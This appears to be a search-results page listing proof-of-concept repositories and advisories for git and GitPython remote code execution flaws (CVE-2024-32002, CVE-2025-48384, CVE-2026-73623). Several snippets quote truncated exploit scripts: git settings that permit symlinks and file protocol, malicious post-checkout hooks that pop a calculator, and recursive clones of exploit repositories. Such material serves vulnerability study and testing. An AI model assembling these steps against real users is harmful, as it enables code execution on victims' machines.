58 matches found
CVE-2024-32002
GIT RCE CVE-2024-32002 Descripción | CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/ | Exploit | Primero necesitas crear los repositorios "calledrepo" y "commandrepo" en git. | La víctima más tarde llamará a calledrepo con "git clone --recursive calledrepo.git" qu...
cve-2024-32002-submodule-rce
CVE-2024-32002 RCE 子模块 一个用于演示 CVE-2024-32002 的子模块。通过将恶意提交钩子加载到父仓库的 .git 目录中,演示远程代码执行(RCE)。 参见 cve-2024-32002-poc-rce 获取使用此仓库的有效 POC。 此仓库包含的内容 一个名为 post-checkout 的恶意 git 钩子,在克隆完成后立即运行。此 git 钩子会在 Windows 或 MacOS 上弹出计算器。 该 git 钩子位于 notexists/hooks 下,原因如下: notexists 用于确保仓库克隆到一个空目录。 hooks 是 git 寻找要执行的...
git_rce
CVE-2024-32002 PoC 1. Debes configurar la opción de enlace simbólico de git de la siguiente manera: root@kitploit: git config --global core.symlinks true 2. Luego explota CVE-2024-32002 con el siguiente comando: root@kitploit: git clone --recursive https://github.com/EQSTSeminar/gitrce.git...
CVE-2024-32002-Exploit
root@kitploit: !/bin/bash git init hook cd hook mkdir -p y/hooks cat y/hooks/post-checkout dotgit.txt git hash-object -w --stdin dot-git.hash printf "120000 %s 0\ta\n" "$cat dot-git.hash" index.info git update-index --index-info index.info git commit -m "add-symlink" git remote add origin...
hooky
hooky 此仓库是 https://github.com/markuta/CVE-2024-32002 的子模块,其中包含一个位于 y/hooks/post-checkout 的简单钩子,用于在 macOS 系统上打开计算器: root@kitploit: open -a Calculator.app 有关该漏洞的更多信息可参见此处和此处。...
CVE-2024-32002
CVE-2024-32002 一个简单的概念验证,执行计算器(仅限 macOS 示例)。使用 git clone --recursive 命令时,此仓库还会拉取 https://github.com/markuta/hooky,其中包含一个 post-checkout 脚本。主要基于修复提交 t7406-submodule-update.sh 文件。 运行 注意 :低于 2.45.1、2.44.1、2.43.4、2.42.2、2.41.1、2.40.2 和 2.39.4 的版本均受影响。 root@kitploit: git clone --recursive...
CVE-2024-32002-EXP
CVE-2024-32002-EXP root@kitploit: !/bin/bash 设置 Git 配置选项 git config --global protocol.file.allow always git config --global core.symlinks true 避免警告消息(设置默认分叉为main) git config --global init.defaultBranch main 定义 tell-tale 路径 telltalepath="$PWD/tell.tale" 初始化 hook 仓库 git init hook cd hook mkdir -p...
CVE-2024-32002-poc
Bash 脚本: root@kitploit: !/bin/bash Set Git configuration options git config --global protocol.file.allow always git config --global core.symlinks true Avoid warning messages set default branch to main git config --global init.defaultBranch main Define tell-tale path telltalepath="$PWD/tell.tale"...
hook
hook gitrce 的子模块: https://github.com/EQSTSeminar/gitrce 攻击场景 kali192.168.216.129 --提供远程仓库地址-- Win192.168.216.130 kali192.168.216.129 --Git clone && hook 脚本post-checkout执行-- Win192.168.216.130 免责声明 本仓库并非旨在作为针对 CVE-2024-32002 的 git clone RCE 漏洞利用。此项目的目的是帮助人们了解该漏洞,并可能测试他们自己的应用程序。...
CVE-2025-48384-submodule
Submódulo CVE-2025-48384 Este submódulo contiene un hook post-checkout malicioso para demostración...
CVE-2025-48384
CVE-2025-48384 PoC 注意事項 本リポジトリはセキュリティ教育用に作成したものです。 悪用はご遠慮ください。 本脆弱性はディレクトリ名に\rを含める必要があるため、 Linux/Unix系が影響対象となります。 下記が影響対象のGitのバージョンです。 v2.43.x系 - v2.43.7 未満 v2.44.x系 - v2.44.4 未満 v2.45.x系 - v2.45.4 未満 v2.46.x系 - v2.46.4 未満 v2.47.x系 - v2.47.3 未満 v2.48.x系 - v2.48.2 未満 v2.49.x系 - v2.49.1 未満 v2.50.x系...
SUSE CVE-2026-73623
GitPython before 3.1.54 contains an incomplete denylist in unsafegitcloneoptions that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute...
Linux Distros Unpatched Vulnerability : CVE-2026-73623
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - GitPython before 3.1.54 contains an incomplete denylist in unsafegitcloneoptions that omits --template, allowing attackers to achieve arbitrary command executio...
CVE-2026-73623
GitPython before 3.1.54 contains an incomplete denylist in unsafegitcloneoptions that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute...
DEBIAN-CVE-2026-73623
GitPython before 3.1.54 contains an incomplete denylist in unsafegitcloneoptions that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute...
CVE-2026-73623
GitPython before 3.1.54 contains an incomplete denylist in unsafegitcloneoptions that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute...
UBUNTU-CVE-2026-73623
GitPython before 3.1.54 contains an incomplete denylist in unsafegitcloneoptions that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute...
EUVD-2026-57792
GitPython before 3.1.54 contains an incomplete denylist in unsafegitcloneoptions that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute...
CVE-2026-73623
GitPython before 3.1.54 contains an incomplete denylist in unsafegitcloneoptions that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute...
CVE-2026-73623 GitPython before 3.1.54 Remote Code Execution via --template
GitPython before 3.1.54 contains an incomplete denylist in unsafegitcloneoptions that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute...